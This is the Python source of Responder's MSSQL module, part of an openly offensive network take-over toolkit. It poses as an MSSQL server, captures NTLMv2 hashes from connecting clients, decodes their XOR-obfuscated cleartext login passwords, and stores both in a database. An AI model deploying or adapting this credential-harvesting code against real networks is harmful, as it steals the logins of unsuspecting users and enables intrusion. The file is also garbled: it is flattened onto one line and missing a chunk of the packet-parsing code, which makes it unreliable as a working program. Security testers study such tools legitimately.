#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * import struct class TDS_Login_Packet: def __init__(self, data): ClientNameOff = struct.unpack(' 60: WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', 'type': 'NTLMv2', 'client': client, 'user': Domain+'\\'+User, 'hash': NTHash[:32]+":"+NTHash[32:], 'fullhash': WriteHash, }) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = '' for x in Pwd: Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') return Pw def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) SaveToDb({ 'module': 'MSSQL', 'type': 'Cleartext', 'client': client, 'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName), 'user': TDS.UserName, 'cleartext': ParseSqlClearTxtPwd(TDS.Password), 'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password), }) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): if settings.Config.Verbose: print text("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) Challenge = RandomChallenge() if data[0] == "\x12": # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) if data[0] == "\x10": # NegoSSP if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) if data[0] == "\x11": # NegoSSP Auth ParseSQLHash(data,self.client_address[0]) except: self.request.close() pass